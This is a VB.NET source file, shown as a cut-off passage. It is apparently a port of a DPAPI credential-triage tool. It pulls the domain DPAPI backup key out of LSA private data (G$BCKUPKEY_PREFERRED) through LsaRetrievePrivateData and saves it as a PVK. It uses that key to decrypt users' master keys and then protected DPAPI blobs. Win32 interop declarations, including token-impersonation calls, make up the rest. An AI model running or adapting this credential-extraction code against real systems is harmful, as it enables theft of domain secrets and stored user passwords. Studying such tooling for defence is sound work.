Imports System
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.ComponentModel
Imports Microsoft.VisualBasic
Imports System.Security.Cryptography
Imports System.Security.Principal
Imports System.Text.RegularExpressions
Imports System.IO
Imports System.Xml
Imports System.Security

Public Class Form1

    Dim GMappings As New Dictionary(Of String, String)
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        'Use this website to generate the Base64 values from the Hex Strings
        'https://base64.guru/converter/encode/hex

        Try
            Dim pvk64 As String = "HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAAEAAQCNx+xLTsR+xN3d0mRGbmG  PLACE YOUR MASTER KEY HERE  fzhSXebHVG+2Ea2F6BihR8="
            Dim backupKeyBytes As Byte() = Convert.FromBase64String(pvk64)
            Dim Localmappings As Dictionary(Of String, String) = Triage.TriageUserMasterKeys(backupKeyBytes, False)
            Localmappings = Triage.TriageUserMasterKeys(backupKeyBytes, False)

            Dim CustomMappings As Dictionary(Of String, String) = Triage.TriageUserMasterKeys(backupKeyBytes, False)
            CustomMappings = Triage.LoadKeysFromFolder(backupKeyBytes, "C:\Users\MyUserName\Desktop\New folder\Protect")

            GMappings = Localmappings.Union(CustomMappings).ToDictionary(Function(p) p.Key, Function(p) p.Value)

            If GMappings.Count = 0 Then
                Console.WriteLine("[!] No master keys decrypted!" & vbCrLf)
            Else
                Console.WriteLine("[*] User master key cache:" & vbCrLf)

                For Each kvp As KeyValuePair(Of String, String) In GMappings
                    Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value)
                Next
                Console.WriteLine()
            End If

            DecryptTest()

        Catch ex As Exception
            While Not (ex Is Nothing)
                Console.WriteLine(ex.Message)
                ex = ex.InnerException
            End While
        End Try
    End Sub

    Private Sub NativeDecryptTest()
        Dim text As String = "ThisIsMyEncrptedTest"
        Dim entropy As String = Nothing
        Dim description As String
        Dim encrypted As String
        Dim decrypted As String

        Console.WriteLine("Plaintext: {0}" & Chr(13) & Chr(10), text)

        ' Call DPAPI to encrypt data with user-specific key.
        encrypted = DPAPI.Encrypt(DPAPI.KeyType.UserKey, text, entropy, "")

        Console.WriteLine("Encrypted with Userkey: {0}" & Chr(13) & Chr(10), encrypted)

        ' Call DPAPI to encrypt data with user-specific key.
        encrypted = DPAPI.Encrypt(DPAPI.KeyType.MachineKey, text, entropy, "")

        Console.WriteLine("Encrypted with SystemKey: {0}" & Chr(13) & Chr(10), encrypted)

        ' Call DPAPI to decrypt data.
        decrypted = DPAPI.Decrypt(encrypted, entropy, description)

        Console.WriteLine("Decrypted: {0} <<<{1}>>>" & Chr(13) & Chr(10), decrypted, description)
    End Sub
    Private Sub DecryptTest()

        Dim blobBytes As Byte()
        blobBytes = Convert.FromBase64String("AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAvasm9fxHbkGMktix41J5OAAAAAACAAAAAAADZgAAwAAAABAAAABXxVa3PA56MLNMVKnrdAgfAAAAAASAAACgAAAAEAAAAKwDfmoDSCAXkpDJrW32/bEQAAAA53DM14+h1XhH9DHztLkMnhQAAABRRkW7ulBuOJP2wOHKDJ4OyWo6LA==")

        Dim decBytes As Byte() = DPAPI.DescribeDPAPIBlob(blobBytes, GMappings, "blob")

        If decBytes.Length <> 0 Then
            Console.WriteLine()
            If Helpers.IsUnicode(decBytes) Then
                Console.WriteLine("    dec(blob)        : {0}", System.Text.Encoding.Unicode.GetString(decBytes))
            Else
                Dim b64DecBytesString As String = BitConverter.ToString(decBytes).Replace("-", " ")
                Console.WriteLine("    dec(blob)        : {0}", b64DecBytesString)
                Console.WriteLine(System.Text.ASCIIEncoding.ASCII.GetString(decBytes))
            End If
        End If
    End Sub

    Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
        Try
            Dim blobBytes As Byte()
            'blobBytes = StringToByteArray("01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bdab26f5fc476e418c92d8b1e35279380000000002000000000003660000c00000001000000057c556b73c0e7a30b34c54a9eb74081f0000000004800000a000000010000000ac037e6a034820179290c9ad6df6fdb110000000e770ccd78fa1d57847f431f3b4b90c9e14000000514645bbba506e3893f6c0e1ca0c9e0ec96a3a2c")
            blobBytes = StringToByteArray(RichTextBox1.Text.Trim.Replace(vbCr, "").Replace(vbLf, ""))

            Dim decBytes As Byte() = DPAPI.DescribeDPAPIBlob(blobBytes, GMappings, "blob")

            If decBytes.Length <> 0 Then
                TextBox2.Text = ""
                If Helpers.IsUnicode(decBytes) Then
                    TextBox2.Text &= ("    dec(blob)        : " & System.Text.Encoding.Unicode.GetString(decBytes))
                Else
                    Dim b64DecBytesString As String = BitConverter.ToString(decBytes).Replace("-", " ")
                    TextBox2.Text &= ("    dec(blob)        : " & b64DecBytesString)
                    TextBox2.Text &= vbCrLf & "Value: " & System.Text.ASCIIEncoding.ASCII.GetString(decBytes)
                End If
            End If
        Catch ex As Exception
            TextBox2.Text = "Unable to display"
        End Try
    End Sub

    Public Shared Function StringToByteArray(s As String) As Byte()
        ' remove any spaces from, e.g. "A0 20 34 34"
        s = s.Replace(" "c, "")
        ' make sure we have an even number of digits
        If (s.Length And 1) = 1 Then
            Throw New FormatException("Odd string length when even string length Is required.")
        End If

        ' calculate the length of the byte array and dim an array to that
        Dim nBytes = s.Length \ 2
        Dim a(nBytes - 1) As Byte

        ' pick out every two bytes and convert them from hex representation
        For i = 0 To nBytes - 1
            a(i) = Convert.ToByte(s.Substring(i * 2, 2), 16)
        Next

        Return a

    End Function
End Class

Public Class Backup
    Public Shared Sub GetBackupKey(ByVal system As String, ByVal Optional outFile As String = "")
        Dim aSystemName As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING(system)
        Dim aWinErrorCode As UInteger = 0
        Dim LsaPolicyHandle = IntPtr.Zero
        Dim aObjectAttributes As Interop.LSA_OBJECT_ATTRIBUTES = New Interop.LSA_OBJECT_ATTRIBUTES
        aObjectAttributes.Length = 0
        aObjectAttributes.RootDirectory = IntPtr.Zero
        aObjectAttributes.Attributes = 0
        aObjectAttributes.SecurityDescriptor = IntPtr.Zero
        aObjectAttributes.SecurityQualityOfService = IntPtr.Zero
        Dim aOpenPolicyResult As UInteger = Interop.LsaOpenPolicy(aSystemName, aObjectAttributes, CUInt(Interop.LSA_AccessPolicy.POLICY_GET_PRIVATE_INFORMATION), LsaPolicyHandle)
        aWinErrorCode = Interop.LsaNtStatusToWinError(aOpenPolicyResult)

        If aWinErrorCode = &H0 Then
            Dim PrivateData = IntPtr.Zero
            Dim secretName As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING("G$BCKUPKEY_PREFERRED")
            Dim ntsResult As UInteger = Interop.LsaRetrievePrivateData(LsaPolicyHandle, secretName, PrivateData)

            If ntsResult <> 0 Then
                Dim winErrorCode As UInteger = Interop.LsaNtStatusToWinError(ntsResult)
                Dim errorMessage As String = New Win32Exception(CInt(winErrorCode)).Message
                Console.WriteLine("  [X] Error calling LsaRetrievePrivateData {0} :  {1}", winErrorCode, errorMessage)
                Return
            End If

            Dim lusSecretData As Interop.LSA_UNICODE_STRING = CType(Marshal.PtrToStructure(PrivateData, GetType(Interop.LSA_UNICODE_STRING)), Interop.LSA_UNICODE_STRING)
            Dim guidBytes = New Byte(lusSecretData.Length - 1) {}
            Marshal.Copy(lusSecretData.buffer, guidBytes, 0, lusSecretData.Length)
            Dim backupKeyGuid = New Guid(guidBytes)
            Console.WriteLine("[*] Preferred backupkey Guid         : {0}", backupKeyGuid.ToString)
            Dim backupKeyName = String.Format("G$BCKUPKEY_{0}", backupKeyGuid.ToString)
            Console.WriteLine("[*] Full preferred backupKeyName     : {0}", backupKeyName)
            Dim backupKeyLSA As Interop.LSA_UNICODE_STRING = New Interop.LSA_UNICODE_STRING(backupKeyName)
            Dim PrivateDataKey = IntPtr.Zero
            Dim ntsResult2 As UInteger = Interop.LsaRetrievePrivateData(LsaPolicyHandle, backupKeyLSA, PrivateDataKey)

            If ntsResult2 <> 0 Then
                Dim winErrorCode As UInteger = Interop.LsaNtStatusToWinError(ntsResult2)
                Dim errorMessage As String = New Win32Exception(CInt(winErrorCode)).Message
                Console.WriteLine(vbCrLf & "[X] Error calling LsaRetrievePrivateData ({0}) : {1}" & vbCrLf, winErrorCode, errorMessage)
                Return
            End If

            Dim backupKeyBytes As Interop.LSA_UNICODE_STRING = CType(Marshal.PtrToStructure(PrivateDataKey, GetType(Interop.LSA_UNICODE_STRING)), Interop.LSA_UNICODE_STRING)
            Dim backupKey = New Byte(backupKeyBytes.Length - 1) {}
            Marshal.Copy(backupKeyBytes.buffer, backupKey, 0, backupKeyBytes.Length)
            Dim versionArray = New Byte(3) {}
            Array.Copy(backupKey, 0, versionArray, 0, 4)
            Dim version = BitConverter.ToInt32(versionArray, 0)
            Dim keyLenArray = New Byte(3) {}
            Array.Copy(backupKey, 4, keyLenArray, 0, 4)
            Dim keyLen = BitConverter.ToInt32(keyLenArray, 0)
            Dim certLenArray = New Byte(3) {}
            Array.Copy(backupKey, 8, certLenArray, 0, 4)
            Dim certLen = BitConverter.ToInt32(certLenArray, 0)
            Dim backupKeyPVK = New Byte(keyLen + 24 - 1) {}
            Array.Copy(backupKey, 12, backupKeyPVK, 24, keyLen)
            backupKeyPVK(0) = &H1E
            backupKeyPVK(1) = &HF1
            backupKeyPVK(2) = &HB5
            backupKeyPVK(3) = &HB0
            backupKeyPVK(8) = 1
            Dim lenBytes = BitConverter.GetBytes(CUInt(keyLen))
            Array.Copy(lenBytes, 0, backupKeyPVK, 20, 4)

            Dim Key As String = Nothing

            If String.IsNullOrEmpty(outFile) Then
                Dim base64Key = Convert.ToBase64String(backupKeyPVK)
                Console.WriteLine("[*] Key :")

                For Each line As String In Helpers.Split(base64Key, 80)
                    Console.WriteLine("          {0}", line)
                    Key &= line
                Next
            Else
                Dim fs As FileStream = File.Create(outFile)
                Dim bw = New BinaryWriter(fs)
                bw.Write(backupKeyPVK)
                bw.Close()
                fs.Close()
                Console.WriteLine("[*] Backup key written to            : {0}", outFile)
            End If

            Interop.LsaFreeMemory(PrivateData)
            Interop.LsaClose(LsaPolicyHandle)
        Else
            Dim errorMessage As String = New Win32Exception(CInt(aWinErrorCode)).Message
            Console.WriteLine(vbCrLf & "[X] Error calling LsaOpenPolicy ({0}) : {1}" & vbCrLf, aWinErrorCode, errorMessage)
        End If
    End Sub
End Class


Public Class Interop
    Public Enum CryptAlgClass As UInteger
        ALG_CLASS_ANY = 0
        ALG_CLASS_SIGNATURE = 1 << 13
        ALG_CLASS_MSG_ENCRYPT = 2 << 13
        ALG_CLASS_DATA_ENCRYPT = 3 << 13
        ALG_CLASS_HASH = 4 << 13
        ALG_CLASS_KEY_EXCHANGE = 5 << 13
        ALG_CLASS_ALL = 7 << 13
    End Enum

    Public Enum CryptAlgType As UInteger
        ALG_TYPE_ANY = 0
        ALG_TYPE_DSS = 1 << 9
        ALG_TYPE_RSA = 2 << 9
        ALG_TYPE_BLOCK = 3 << 9
        ALG_TYPE_STREAM = 4 << 9
        ALG_TYPE_DH = 5 << 9
        ALG_TYPE_SECURECHANNEL = 6 << 9
    End Enum

    Public Enum CryptAlgSID As UInteger
        ALG_SID_ANY = 0
        ALG_SID_RSA_ANY = 0
        ALG_SID_RSA_PKCS = 1
        ALG_SID_RSA_MSATWORK = 2
        ALG_SID_RSA_ENTRUST = 3
        ALG_SID_RSA_PGP = 4
        ALG_SID_DSS_ANY = 0
        ALG_SID_DSS_PKCS = 1
        ALG_SID_DSS_DMS = 2
        ALG_SID_ECDSA = 3
        ALG_SID_DES = 1
        ALG_SID_3DES = 3
        ALG_SID_DESX = 4
        ALG_SID_IDEA = 5
        ALG_SID_CAST = 6
        ALG_SID_SAFERSK64 = 7
        ALG_SID_SAFERSK128 = 8
        ALG_SID_3DES_112 = 9
        ALG_SID_CYLINK_MEK = 12
        ALG_SID_RC5 = 13
        ALG_SID_AES_128 = 14
        ALG_SID_AES_192 = 15
        ALG_SID_AES_256 = 16
        ALG_SID_AES = 17
        ALG_SID_SKIPJACK = 10
        ALG_SID_TEK = 11
        ALG_SID_RC2 = 2
        ALG_SID_RC4 = 1
        ALG_SID_SEAL = 2
        ALG_SID_DH_SANDF = 1
        ALG_SID_DH_EPHEM = 2
        ALG_SID_AGREED_KEY_ANY = 3
        ALG_SID_KEA = 4
        ALG_SID_ECDH = 5
        ALG_SID_MD2 = 1
        ALG_SID_MD4 = 2
        ALG_SID_MD5 = 3
        ALG_SID_SHA = 4
        ALG_SID_SHA1 = 4
        ALG_SID_MAC = 5
        ALG_SID_RIPEMD = 6
        ALG_SID_RIPEMD160 = 7
        ALG_SID_SSL3SHAMD5 = 8
        ALG_SID_HMAC = 9
        ALG_SID_TLS1PRF = 10
        ALG_SID_HASH_REPLACE_OWF = 11
        ALG_SID_SHA_256 = 12
        ALG_SID_SHA_384 = 13
        ALG_SID_SHA_512 = 14
        ALG_SID_SSL3_MASTER = 1
        ALG_SID_SCHANNEL_MASTER_HASH = 2
        ALG_SID_SCHANNEL_MAC_KEY = 3
        ALG_SID_PCT1_MASTER = 4
        ALG_SID_SSL2_MASTER = 5
        ALG_SID_TLS1_MASTER = 6
        ALG_SID_SCHANNEL_ENC_KEY = 7
        ALG_SID_ECMQV = 1
    End Enum

    Public Enum CryptAlg As UInteger
        CALG_MD2 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD2
        CALG_MD4 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD4
        CALG_MD5 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD5
        CALG_SHA = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA
        CALG_SHA1 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA1
        CALG_MAC = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MAC
        CALG_RSA_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_RSA Or CryptAlgSID.ALG_SID_RSA_ANY
        CALG_DSS_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_DSS Or CryptAlgSID.ALG_SID_DSS_ANY
        CALG_NO_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_ANY
        CALG_RSA_KEYX = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_RSA Or CryptAlgSID.ALG_SID_RSA_ANY
        CALG_DES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_DES
        CALG_3DES_112 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_3DES_112
        CALG_3DES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_3DES
        CALG_DESX = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_DESX
        CALG_RC2 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_RC2
        CALG_RC4 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_STREAM Or CryptAlgSID.ALG_SID_RC4
        CALG_SEAL = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_STREAM Or CryptAlgSID.ALG_SID_SEAL
        CALG_DH_SF = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_DH_SANDF
        CALG_DH_EPHEM = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_DH_EPHEM
        CALG_AGREEDKEY_ANY = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_AGREED_KEY_ANY
        CALG_KEA_KEYX = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_KEA
        CALG_HUGHES_MD5 = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD5
        CALG_SKIPJACK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_SKIPJACK
        CALG_TEK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_TEK
        CALG_CYLINK_MEK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_CYLINK_MEK
        CALG_SSL3_SHAMD5 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SSL3SHAMD5
        CALG_SSL3_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SSL3_MASTER
        CALG_SCHANNEL_MASTER_HASH = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_MASTER_HASH
        CALG_SCHANNEL_MAC_KEY = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_MAC_KEY
        CALG_SCHANNEL_ENC_KEY = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_ENC_KEY
        CALG_PCT1_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_PCT1_MASTER
        CALG_SSL2_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SSL2_MASTER
        CALG_TLS1_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_TLS1_MASTER
        CALG_RC5 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_RC5
        CALG_HMAC = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_HMAC
        CALG_TLS1PRF = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_TLS1PRF
        CALG_HASH_REPLACE_OWF = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_HASH_REPLACE_OWF
        CALG_AES_128 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_128
        CALG_AES_192 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_192
        CALG_AES_256 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_256
        CALG_AES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES
        CALG_SHA_256 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_256
        CALG_SHA_384 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_384
        CALG_SHA_512 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_512
        CALG_ECDH = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_ECDH
        CALG_ECMQV = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_ECMQV
        CALG_ECDSA = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_DSS Or CryptAlgSID.ALG_SID_ECDSA
    End Enum

    <StructLayout(LayoutKind.Sequential)>
    Public Structure LSA_UNICODE_STRING
        Implements IDisposable

        Public Length As UShort
        Public MaximumLength As UShort
        Public buffer As IntPtr

        Public Sub New(ByVal s As String)
            Length = CUShort(s.Length * 2)
            MaximumLength = CUShort(Length + 2)
            buffer = Marshal.StringToHGlobalUni(s)
        End Sub

        Public Sub Dispose() Implements IDisposable.Dispose
            Marshal.FreeHGlobal(buffer)
            buffer = IntPtr.Zero
        End Sub

        Public Overrides Function ToString() As String
            Return Marshal.PtrToStringUni(buffer)
        End Function
    End Structure

    Public Enum POLICY_INFORMATION_CLASS
        PolicyAuditLogInformation = 1
        PolicyAuditEventsInformation
        PolicyPrimaryDomainInformation
        PolicyPdAccountInformation
        PolicyAccountDomainInformation
        PolicyLsaServerRoleInformation
        PolicyReplicaSourceInformation
        PolicyDefaultQuotaInformation
        PolicyModificationInformation
        PolicyAuditFullSetInformation
        PolicyAuditFullQueryInformation
        PolicyDnsDomainInformation
    End Enum

    Public Enum LSA_AccessPolicy As Long
        POLICY_VIEW_LOCAL_INFORMATION = &H1L
        POLICY_VIEW_AUDIT_INFORMATION = &H2L
        POLICY_GET_PRIVATE_INFORMATION = &H4L
        POLICY_TRUST_ADMIN = &H8L
        POLICY_CREATE_ACCOUNT = &H10L
        POLICY_CREATE_SECRET = &H20L
        POLICY_CREATE_PRIVILEGE = &H40L
        POLICY_SET_DEFAULT_QUOTA_LIMITS = &H80L
        POLICY_SET_AUDIT_REQUIREMENTS = &H100L
        POLICY_AUDIT_LOG_ADMIN = &H200L
        POLICY_SERVER_ADMIN = &H400L
        POLICY_LOOKUP_NAMES = &H800L
        POLICY_NOTIFICATION = &H1000L
    End Enum

    Public Structure LSA_OBJECT_ATTRIBUTES
        Public Length As UInteger
        Public RootDirectory As IntPtr
        Public ObjectName As LSA_UNICODE_STRING
        Public Attributes As UInteger
        Public SecurityDescriptor As IntPtr
        Public SecurityQualityOfService As IntPtr
    End Structure

    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)>
    Public Structure DOMAIN_CONTROLLER_INFO
        <MarshalAs(UnmanagedType.LPTStr)>
        Public DomainControllerName As String
        <MarshalAs(UnmanagedType.LPTStr)>
        Public DomainControllerAddress As String
        Public DomainControllerAddressType As UInteger
        Public DomainGuid As Guid
        <MarshalAs(UnmanagedType.LPTStr)>
        Public DomainName As String
        <MarshalAs(UnmanagedType.LPTStr)>
        Public DnsForestName As String
        Public Flags As UInteger
        <MarshalAs(UnmanagedType.LPTStr)>
        Public DcSiteName As String
        <MarshalAs(UnmanagedType.LPTStr)>
        Public ClientSiteName As String
    End Structure

    <Flags>
    Public Enum DSGETDCNAME_FLAGS As UInteger
        DS_FORCE_REDISCOVERY = &H1
        DS_DIRECTORY_SERVICE_REQUIRED = &H10
        DS_DIRECTORY_SERVICE_PREFERRED = &H20
        DS_GC_SERVER_REQUIRED = &H40
        DS_PDC_REQUIRED = &H80
        DS_BACKGROUND_ONLY = &H100
        DS_IP_REQUIRED = &H200
        DS_KDC_REQUIRED = &H400
        DS_TIMESERV_REQUIRED = &H800
        DS_WRITABLE_REQUIRED = &H1000
        DS_GOOD_TIMESERV_PREFERRED = &H2000
        DS_AVOID_SELF = &H4000
        DS_ONLY_LDAP_NEEDED = &H8000
        DS_IS_FLAT_NAME = &H10000
        DS_IS_DNS_NAME = &H20000
        DS_RETURN_DNS_NAME = &H40000000
        DS_RETURN_FLAT_NAME = &H80000000UI
    End Enum

    <DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)>
    Public Shared Function LsaOpenPolicy(ByRef SystemName As LSA_UNICODE_STRING, ByRef ObjectAttributes As LSA_OBJECT_ATTRIBUTES, ByVal DesiredAccess As UInteger, <Out> ByRef PolicyHandle As IntPtr) As UInteger
    End Function

    <DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)>
    Public Shared Function LsaRetrievePrivateData(ByVal PolicyHandle As IntPtr, ByRef KeyName As LSA_UNICODE_STRING, <Out> ByRef PrivateData As IntPtr) As UInteger
    End Function

    <DllImport("advapi32.dll", SetLastError:=True)>
    Public Shared Function LsaNtStatusToWinError(ByVal status As UInteger) As UInteger
    End Function

    <DllImport("advapi32.dll", SetLastError:=True)>
    Public Shared Function LsaClose(ByVal ObjectHandle As IntPtr) As UInteger
    End Function

    <DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)>
    Public Shared Function LsaFreeMemory(ByVal buffer As IntPtr) As UInteger
    End Function

    <DllImport("advapi32.dll", SetLastError:=True)>
    Public Shared Function OpenProcessToken(ByVal ProcessHandle As IntPtr, ByVal DesiredAccess As UInteger, <Out> ByRef TokenHandle As IntPtr) As Boolean
    End Function

    <DllImport("advapi32.dll", SetLastError:=True)>
    Public Shared Function DuplicateToken(ByVal ExistingTokenHandle As IntPtr, ByVal SECURITY_IMPERSONATION_LEVEL As Integer, ByRef DuplicateTokenHandle As IntPtr) As Boolean
    End Function

    <DllImport("advapi32.dll", SetLastError:=True)>
    Public Shared Function ImpersonateLoggedOnUser(ByVal hToken As IntPtr) As Boolean
    End Function

    <DllImport("kernel32.dll", SetLastError:=True)>
    Public Shared Function CloseHandle(ByVal hObject As IntPtr) As Boolean
    End Function

    <DllImport("advapi32.dll", SetLastError:=True)>
    Public Shared Function RevertToSelf() As Boolean
    End Function

    <Flags>
    Public Enum IsTextUnicodeFlags As Integer
        IS_TEXT_UNICODE_ASCII16 = &H1
        IS_TEXT_UNICODE_REVERSE_ASCII16 = &H10
        IS_TEXT_UNICODE_STATISTICS = &H2
        IS_TEXT_UNICODE_REVERSE_STATISTICS = &H20
        IS_TEXT_UNICODE_CONTROLS = &H4
        IS_TEXT_UNICODE_REVERSE_CONTROLS = &H40
        IS_TEXT_UNICODE_SIGNATURE = &H8
        IS_TEXT_UNICODE_REVERSE_SIGNATURE = &H80
        IS_TEXT_UNICODE_ILLEGAL_CHARS = &H100
        IS_TEXT_UNICODE_ODD_LENGTH = &H200
        IS_TEXT_UNICODE_DBCS_LEADBYTE = &H400
        IS_TEXT_UNICODE_NULL_BYTES = &H1000
        IS_TEXT_UNICODE_UNICODE_MASK = &HF
        IS_TEXT_UNICODE_REVERSE_MASK = &HF0
        IS_TEXT_UNICODE_NOT_UNICODE_MASK = &HF00
        IS_TEXT_UNICODE_NOT_ASCII_MASK = &HF000
    End Enum

    <DllImport("Advapi32", SetLastError:=False)>
    Public Shared Function IsTextUnicode(ByVal buf As Byte(), ByVal len As Integer, ByRef opt As IsTextUnicodeFlags) As Boolean
    End Function

    <DllImport("advapi32.dll", CharSet:=CharSet.Auto)>
    Public Shared Function RegOpenKeyEx(ByVal hKey As UInteger, ByVal subKey As String, ByVal ulOptions As Integer, ByVal samDesired As Integer, ByRef hkResult As IntPtr) As Integer
    End Function

    <DllImport("advapi32.dll")>
    Public Shared Function RegQueryInfoKey(ByVal hkey As IntPtr, ByVal lpClass As StringBuilder, ByRef lpcbClass As Integer, ByVal lpReserved As Integer, ByRef lpcSubKeys As IntPtr, ByRef lpcbMaxSubKeyLen As IntPtr, ByRef lpcbMaxClassLen As IntPtr, ByRef lpcValues As IntPtr, ByRef lpcbMaxValueNameLen As IntPtr, ByRef lpcbMaxValueLen As IntPtr, ByRef lpcbSecurityDescriptor As IntPtr, ByVal lpftLastWriteTime As IntPtr) As Integer
    End Function

    <DllImport("advapi32.dll", SetLastError:=True)>
    Public Shared Function RegQueryValueEx(ByVal hKey As IntPtr, ByVal lpValueName As String, ByVal lpReserved As Integer, ByVal type As IntPtr, ByVal lpData As IntPtr, ByRef lpcbData As Integer) As Integer
    End Function

    <DllImport("advapi32.dll", SetLastError:=True)>
    Public Shared Function RegCloseKey(ByVal hKey As IntPtr) As Integer
    End Function

    <DllImport("shlwapi.dll", CharSet:=CharSet.Unicode)>
    Friend Shared Function PathIsUNC(
    <MarshalAs(UnmanagedType.LPWStr), [In]> ByVal pszPath As String) As Boolean
    End Function

    <DllImport("Netapi32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
    Public Shared Function DsGetDcName(
        <MarshalAs(UnmanagedType.LPTStr)> ByVal ComputerName As String,
